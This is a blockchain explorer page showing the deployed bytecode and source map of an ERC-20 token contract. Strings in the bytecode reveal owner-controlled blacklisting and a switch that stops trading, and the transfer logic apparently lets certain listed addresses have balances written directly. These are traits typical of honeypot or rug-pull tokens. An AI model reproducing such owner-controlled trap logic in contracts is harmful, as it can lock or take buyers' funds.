892c9481565b34801561027a57600080fd5b506013546101f7906001600160a01b031681565b34801561029a57600080fd5b506101c76102a9366004610daf565b610579565b3480156102ba57600080fd5b50600e5460405160ff9091168152602001610158565b3480156102dc57600080fd5b506006546101c79060ff1681565b3480156102f657600080fd5b506101a5610305366004610deb565b6105e2565b34801561031657600080fd5b506006546101c790610100900460ff1681565b34801561033557600080fd5b50610177610344366004610deb565b610614565b34801561035557600080fd5b506101a561062f565b34801561036a57600080fd5b506101f77f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561039e57600080fd5b5061017760105481565b3480156103b457600080fd5b506101f76106a8565b3480156103c957600080fd5b5061014b6106b7565b3480156103de57600080fd5b5061017760085481565b3480156103f457600080fd5b506101c7610403366004610d85565b6106c6565b34801561041457600080fd5b50610177610423366004610e06565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561045a57600080fd5b506101a5610469366004610e30565b6106d3565b6060600c805461047d90610e4b565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990610e4b565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b336105096106a8565b6001600160a01b0316146105385760405162461bcd60e51b815260040161052f90610e85565b60405180910390fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b600061057033848461071e565b50600192915050565b6000610586848484610842565b6105d884336105d385604051806060016040528060288152602001610f41602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b01565b61071e565b5060019392505050565b336105eb6106a8565b6001600160a01b0316146106115760405162461bcd60e51b815260040161052f90610e85565b50565b6001600160a01b031660009081526001602052604090205490565b336106386106a8565b6001600160a01b03161461065e5760405162461bcd60e51b815260040161052f90610e85565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6060600d805461047d90610e4b565b6000610570338484610842565b336106dc6106a8565b6001600160a01b0316146107025760405162461bcd60e51b815260040161052f90610e85565b60068054911515620100000262ff000019909216919091179055565b6001600160a01b0383166107805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052f565b6001600160a01b0382166107e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116108a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052f565b6001600160a01b03831660009081526003602052604081205460ff161580156108e657506001600160a01b03831660009081526003602052604090205460ff16155b1561095257600190506010548211156109525760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161052f565b6001600160a01b03841660009081526004602052604090205460ff1615801561099457506001600160a01b03831660009081526004602052604090205460ff16155b6109fa5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b606482015260840161052f565b6000610a0530610614565b90506010548110610a1557506010545b610a2185858585610b2d565b836001600160a01b0316856001600160a01b0316600080516020610f6983398151915285604051610a5491815260200190565b60405180910390a360065462010000900460ff16610afa57610a746106a8565b6001600160a01b0316856001600160a01b031614610afa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052f565b5050505050565b60008184841115610b255760405162461bcd60e51b815260040161052f9190610cd1565b505050900390565b610b3984848484610b3f565b50505050565b60008115610b6057610b5d6064610b57856001610c9a565b90610cad565b90505b6000610b6c8285610ed0565b6001600160a01b038616600090815260016020526040902054909150610b929082610cb9565b6001600160a01b038616600090815260016020526040812082905590610bb89083610cb9565b6001600160a01b038816600090815260016020526040902054909150610bde9083610cc5565b6001600160a01b038816600090815260016020908152604080832093909355600390529081205460ff168015610c2c57506001600160a01b03871660009081526003602052604090205460ff165b90508015610c54576001600160a01b0387166000908152600160205260409020829055610c90565b866001600160a01b0316886001600160a01b0316600080516020610f6983398151915285604051610c8791815260200190565b60405180910390a35b5050505050505050565b6000610ca68284610ee7565b9392505050565b6000610ca68284610f06565b6000610ca68284610f28565b6000610ca68284610ed0565b600060208083528351808285015260005b81811015610cfe57858101830151858201604001528201610ce2565b81811115610d10576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3d57600080fd5b919050565b80358015158114610d3d57600080fd5b60008060408385031215610d6557600080fd5b610d6e83610d26565b9150610d7c60208401610d42565b90509250929050565b60008060408385031215610d9857600080fd5b610da183610d26565b946020939093013593505050565b600080600060608486031215610dc457600080fd5b610dcd84610d26565b9250610ddb60208501610d26565b9150604084013590509250925092565b600060208284031215610dfd57600080fd5b610ca682610d26565b60008060408385031215610e1957600080fd5b610e2283610d26565b9150610d7c60208401610d26565b600060208284031215610e4257600080fd5b610ca682610d42565b600181811c90821680610e5f57607f821691505b602082108103610e7f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610ee257610ee2610eba565b500390565b6000816000190483118215151615610f0157610f01610eba565b500290565b600082610f2357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610f3b57610f3b610eba565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203c9efd8670a3be0e8491524085fe8a8e06c24de85572ea42c4b13cb6041f23d564736f6c634300080e0033
Deployed Bytecode Sourcemap
9514:8806:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11140:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9987:32;;;;;;;;;;;;;;;;;;;762:25:1;;;750:2;735:18;9987:32:0;616:177:1;15920:176:0;;;;;;;;;;-1:-1:-1;15920:176:0;;;;;:::i;:::-;;:::i;:::-;;12047:173;;;;;;;;;;-1:-1:-1;12047:173:0;;;;;:::i;:::-;;:::i;:::-;;;1824:14:1;;1817:22;1799:41;;1787:2;1772:18;12047:173:0;1659:187:1;17229:30:0;;;;;;;;;;-1:-1:-1;17229:30:0;;;;-1:-1:-1;;;;;17229:30:0;;;;;;-1:-1:-1;;;;;2015:32:1;;;1997:51;;1985:2;1970:18;17229:30:0;1851:203:1;11447:112:0;;;;;;;;;;-1:-1:-1;11539:12:0;;11447:112;;10061:32;;;;;;;;;;;;;;;;17300:34;;;;;;;;;;;;;;;17266:27;;;;;;;;;;-1:-1:-1;17266:27:0;;;;-1:-1:-1;;;;;17266:27:0;;;12226:329;;;;;;;;;;-1:-1:-1;12226:329:0;;;;;:::i;:::-;;:::i;11346:95::-;;;;;;;;;;-1:-1:-1;11424:9:0;;11346:95;;11424:9;;;;2534:36:1;;2522:2;2507:18;11346:95:0;2392:184:1;9866:37:0;;;;;;;;;;-1:-1:-1;9866:37:0;;;;;;;;16483:105;;;;;;;;;;-1:-1:-1;16483:105:0;;;;;:::i;:::-;;:::i;9911:32::-;;;;;;;;;;-1:-1:-1;9911:32:0;;;;;;;;;;;11565:129;;;;;;;;;;-1:-1:-1;11565:129:0;;;;;:::i;:::-;;:::i;9316:172::-;;;;;;;;;;;;;:::i;17378:40::-;;;;;;;;;;;;;;;10435:54;;;;;;;;;;;;;;;;9072:100;;;;;;;;;;;;;:::i;11241:99::-;;;;;;;;;;;;;:::i;10021:33::-;;;;;;;;;;;;;;;;11700:180;;;;;;;;;;-1:-1:-1;11700:180:0;;;;;:::i;:::-;;:::i;11886:155::-;;;;;;;;;;-1:-1:-1;11886:155:0;;;;;:::i;:::-;-1:-1:-1;;;;;12006:18:0;;;11979:7;12006:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11886:155;16878:115;;;;;;;;;;-1:-1:-1;16878:115:0;;;;;:::i;:::-;;:::i;11140:95::-;11189:13;11222:5;11215:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11140:95;:::o;15920:176::-;2138:10;9218:7;:5;:7::i;:::-;-1:-1:-1;;;;;9218:33:0;;9210:88;;;;-1:-1:-1;;;9210:88:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;16033:30:0;;;::::1;;::::0;;;:15:::1;:30;::::0;;;;:55;;-1:-1:-1;;16033:55:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15920:176::o;12047:173::-;12134:4;12151:39;2138:10;12174:7;12183:6;12151:8;:39::i;:::-;-1:-1:-1;12208:4:0;12047:173;;;;:::o;12226:329::-;12342:4;12356:36;12366:6;12374:9;12385:6;12356:9;:36::i;:::-;12403:131;12412:6;2138:10;12434:99;12472:6;12434:99;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12434:19:0;;;;;;:11;:19;;;;;;;;2138:10;12434:33;;;;;;;;;;:37;:99::i;:::-;12403:8;:131::i;:::-;-1:-1:-1;12543:4:0;12226:329;;;;;:::o;16483:105::-;2138:10;9218:7;:5;:7::i;:::-;-1:-1:-1;;;;;9218:33:0;;9210:88;;;;-1:-1:-1;;;9210:88:0;;;;;;;:::i;:::-;16483:105;:::o;11565:129::-;-1:-1:-1;;;;;11670:16:0;11643:7;11670:16;;;:7;:16;;;;;;;11565:129::o;9316:172::-;2138:10;9218:7;:5;:7::i;:::-;-1:-1:-1;;;;;9218:33:0;;9210:88;;;;-1:-1:-1;;;9210:88:0;;;;;;;:::i;:::-;9436:1:::1;9420:6:::0;;9399:40:::1;::::0;-1:-1:-1;;;;;9420:6:0;;::::1;::::0;9399:40:::1;::::0;9436:1;;9399:40:::1;9477:1;9450:29:::0;;-1:-1:-1;;;;;;9450:29:0::1;::::0;;9316:172::o;9072:100::-;9130:7;9157:6;-1:-1:-1;;;;;9157:6:0;;9072:100::o;11241:99::-;11292:13;11325:7;11318:14;;;;;:::i;11700:180::-;11790:4;11807:52;2138:10;11841:9;11852:6;11807:9;:52::i;16878:115::-;2138:10;9218:7;:5;:7::i;:::-;-1:-1:-1;;;;;9218:33:0;;9210:88;;;;-1:-1:-1;;;9210:88:0;;;;;;;:::i;:::-;16953:14:::1;:32:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;16953:32:0;;::::1;::::0;;;::::1;::::0;;16878:115::o;16106:368::-;-1:-1:-1;;;;;16210:19:0;;16202:78;;;;-1:-1:-1;;;16202:78:0;;4400:2:1;16202:78:0;;;4382:21:1;4439:2;4419:18;;;4412:30;4478:34;4458:18;;;4451:62;-1:-1:-1;;;4529:18:1;;;4522:34;4573:19;;16202:78:0;4198:400:1;16202:78:0;-1:-1:-1;;;;;16299:21:0;;16291:78;;;;-1:-1:-1;;;16291:78:0;;4805:2:1;16291:78:0;;;4787:21:1;4844:2;4824:18;;;4817:30;4883:34;4863:18;;;4856:62;-1:-1:-1;;;4934:18:1;;;4927:32;4976:19;;16291:78:0;4603:398:1;16291:78:0;-1:-1:-1;;;;;16380:28:0;;;;;;;:11;:28;;;;;;;;:37;;;;;;;;;;;;;:46;;;16433:33;;762:25:1;;;16433:33:0;;735:18:1;16433:33:0;;;;;;;16106:368;;;:::o;12564:1015::-;12662:1;12653:6;:10;12645:74;;;;-1:-1:-1;;;12645:74:0;;5208:2:1;12645:74:0;;;5190:21:1;5247:2;5227:18;;;5220:30;5286:34;5266:18;;;5259:62;-1:-1:-1;;;5337:18:1;;;5330:39;5386:19;;12645:74:0;5006:405:1;12645:74:0;-1:-1:-1;;;;;12765:21:0;;12721:20;12765:21;;;:15;:21;;;;;;;;12764:22;:56;;;;-1:-1:-1;;;;;;12801:19:0;;;;;;:15;:19;;;;;;;;12800:20;12764:56;12761:210;;;12855:4;12837:22;;12900:13;;12880:6;:33;;12872:96;;;;-1:-1:-1;;;12872:96:0;;5618:2:1;12872:96:0;;;5600:21:1;5657:2;5637:18;;;5630:30;5696:34;5676:18;;;5669:62;-1:-1:-1;;;5747:18:1;;;5740:38;5795:19;;12872:96:0;5416:404:1;12872:96:0;-1:-1:-1;;;;;12990:21:0;;;;;;:15;:21;;;;;;;;12989:22;:56;;;;-1:-1:-1;;;;;;13026:19:0;;;;;;:15;:19;;;;;;;;13025:20;12989:56;12981:128;;;;-1:-1:-1;;;12981:128:0;;6027:2:1;12981:128:0;;;6009:21:1;6066:2;6046:18;;;6039:30;6105:34;6085:18;;;6078:62;-1:-1:-1;;;6156:18:1;;;6149:47;6213:19;;12981:128:0;5825:413:1;12981:128:0;13122:25;13150:38;13182:4;13150:9;:38::i;:::-;13122:66;;13238:13;;13207:17;:44;13204:107;;-1:-1:-1;13285:13:0;;13204:107;13312:65;13346:4;13351:2;13354:6;13361:15;13312:19;:65::i;:::-;13413:2;-1:-1:-1;;;;;13398:26:0;13407:4;-1:-1:-1;;;;;13398:26:0;-1:-1:-1;;;;;;;;;;;13417:6:0;13398:26;;;;762:25:1;;750:2;735:18;;616:177;13398:26:0;;;;;;;;13445:14;;;;;;;13440:132;;13493:7;:5;:7::i;:::-;-1:-1:-1;;;;;13471:29:0;:4;-1:-1:-1;;;;;13471:29:0;;13462:107;;;;-1:-1:-1;;;13462:107:0;;6445:2:1;13462:107:0;;;6427:21:1;6484:2;6464:18;;;6457:30;6523:34;6503:18;;;6496:62;6594:33;6574:18;;;6567:61;6645:19;;13462:107:0;6243:427:1;13462:107:0;12643:936;;12564:1015;;;:::o;4642:175::-;4740:7;4785:12;4777:6;;;;4769:29;;;;-1:-1:-1;;;4769:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4807:5:0;;;4642:175::o;17005:217::-;17140:74;17171:6;17179:9;17190:6;17198:15;17140:20;:74::i;:::-;17005:217;;;;:::o;14413:872::-;14556:23;14595:15;14591:85;;;14637:29;14662:3;14637:20;:13;14655:1;14637:17;:20::i;:::-;:24;;:29::i;:::-;14613:53;;14591:85;14677:25;14705:41;14731:15;14705:13;:41;:::i;:::-;-1:-1:-1;;;;;14789:18:0;;;;;;:7;:18;;;;;;14677:69;;-1:-1:-1;14789:41:0;;14677:69;14789:22;:41::i;:::-;-1:-1:-1;;;;;14758:18:0;;;;;;:7;:18;;;;;:72;;;:18;14875:51;;14908:17;14875:32;:51::i;:::-;-1:-1:-1;;;;;14956:25:0;;;;;;:7;:25;;;;;;14844:82;;-1:-1:-1;14956:48:0;;14986:17;14956:29;:48::i;:::-;-1:-1:-1;;;;;14928:15:0;;;;;;:7;:15;;;;;;;;:76;;;;15049:15;:23;;;;;;;;:63;;;;-1:-1:-1;;;;;;15086:26:0;;;;;;:15;:26;;;;;;;;15049:63;15016:96;;15128:15;15124:159;;;-1:-1:-1;;;;;15147:18:0;;;;;;:7;:18;;;;;:41;;;15124:159;;;15245:9;-1:-1:-1;;;;;15213:61:0;15237:6;-1:-1:-1;;;;;15213:61:0;-1:-1:-1;;;;;;;;;;;15256:17:0;15213:61;;;;762:25:1;;750:2;735:18;;616:177;15213:61:0;;;;;;;;15124:159;14554:731;;;;14413:872;;;;:::o;4333:95::-;4397:7;4415:5;4419:1;4415;:5;:::i;:::-;4408:12;4333:95;-1:-1:-1;;;4333:95:0:o;4434:::-;4498:7;4516:5;4520:1;4516;:5;:::i;4131:95::-;4195:7;4213:5;4217:1;4213;:5;:::i;4232:95::-;4296:7;4314:5;4318:1;4314;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;798:173::-;866:20;;-1:-1:-1;;;;;915:31:1;;905:42;;895:70;;961:1;958;951:12;895:70;798:173;;;:::o;976:160::-;1041:20;;1097:13;;1090:21;1080:32;;1070:60;;1126:1;1123;1116:12;1141:254;1206:6;1214;1267:2;1255:9;1246:7;1242:23;1238:32;1235:52;;;1283:1;1280;1273:12;1235:52;1306:29;1325:9;1306:29;:::i;:::-;1296:39;;1354:35;1385:2;1374:9;1370:18;1354:35;:::i;:::-;1344:45;;1141:254;;;;;:::o;1400:::-;1468:6;1476;1529:2;1517:9;1508:7;1504:23;1500:32;1497:52;;;1545:1;1542;1535:12;1497:52;1568:29;1587:9;1568:29;:::i;:::-;1558:39;1644:2;1629:18;;;;1616:32;;-1:-1:-1;;;1400:254:1:o;2059:328::-;2136:6;2144;2152;2205:2;2193:9;2184:7;2180:23;2176:32;2173:52;;;2221:1;2218;2211:12;2173:52;2244:29;2263:9;2244:29;:::i;:::-;2234:39;;2292:38;2326:2;2315:9;2311:18;2292:38;:::i;:::-;2282:48;;2377:2;2366:9;2362:18;2349:32;2339:42;;2059:328;;;;;:::o;2581:186::-;2640:6;2693:2;2681:9;2672:7;2668:23;2664:32;2661:52;;;2709:1;2706;2699:12;2661:52;2732:29;2751:9;2732:29;:::i;3002:260::-;3070:6;3078;3131:2;3119:9;3110:7;3106:23;3102:32;3099:52;;;3147:1;3144;3137:12;3099:52;3170:29;3189:9;3170:29;:::i;:::-;3160:39;;3218:38;3252:2;3241:9;3237:18;3218:38;:::i;3267:180::-;3323:6;3376:2;3364:9;3355:7;3351:23;3347:32;3344:52;;;3392:1;3389;3382:12;3344:52;3415:26;3431:9;3415:26;:::i;3452:380::-;3531:1;3527:12;;;;3574;;;3595:61;;3649:4;3641:6;3637:17;3627:27;;3595:61;3702:2;3694:6;3691:14;3671:18;3668:38;3665:161;;3748:10;3743:3;3739:20;3736:1;3729:31;3783:4;3780:1;3773:15;3811:4;3808:1;3801:15;3665:161;;3452:380;;;:::o;3837:356::-;4039:2;4021:21;;;4058:18;;;4051:30;4117:34;4112:2;4097:18;;4090:62;4184:2;4169:18;;3837:356::o;6675:127::-;6736:10;6731:3;6727:20;6724:1;6717:31;6767:4;6764:1;6757:15;6791:4;6788:1;6781:15;6807:125;6847:4;6875:1;6872;6869:8;6866:34;;;6880:18;;:::i;:::-;-1:-1:-1;6917:9:1;;6807:125::o;6937:168::-;6977:7;7043:1;7039;7035:6;7031:14;7028:1;7025:21;7020:1;7013:9;7006:17;7002:45;6999:71;;;7050:18;;:::i;:::-;-1:-1:-1;7090:9:1;;6937:168::o;7110:217::-;7150:1;7176;7166:132;;7220:10;7215:3;7211:20;7208:1;7201:31;7255:4;7252:1;7245:15;7283:4;7280:1;7273:15;7166:132;-1:-1:-1;7312:9:1;;7110:217::o;7332:128::-;7372:3;7403:1;7399:6;7396:1;7393:13;7390:39;;;7409:18;;:::i;:::-;-1:-1:-1;7445:9:1;;7332:128::o
Swarm Source
ipfs://3c9efd8670a3be0e8491524085fe8a8e06c24de85572ea42c4b13cb6041f23d5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.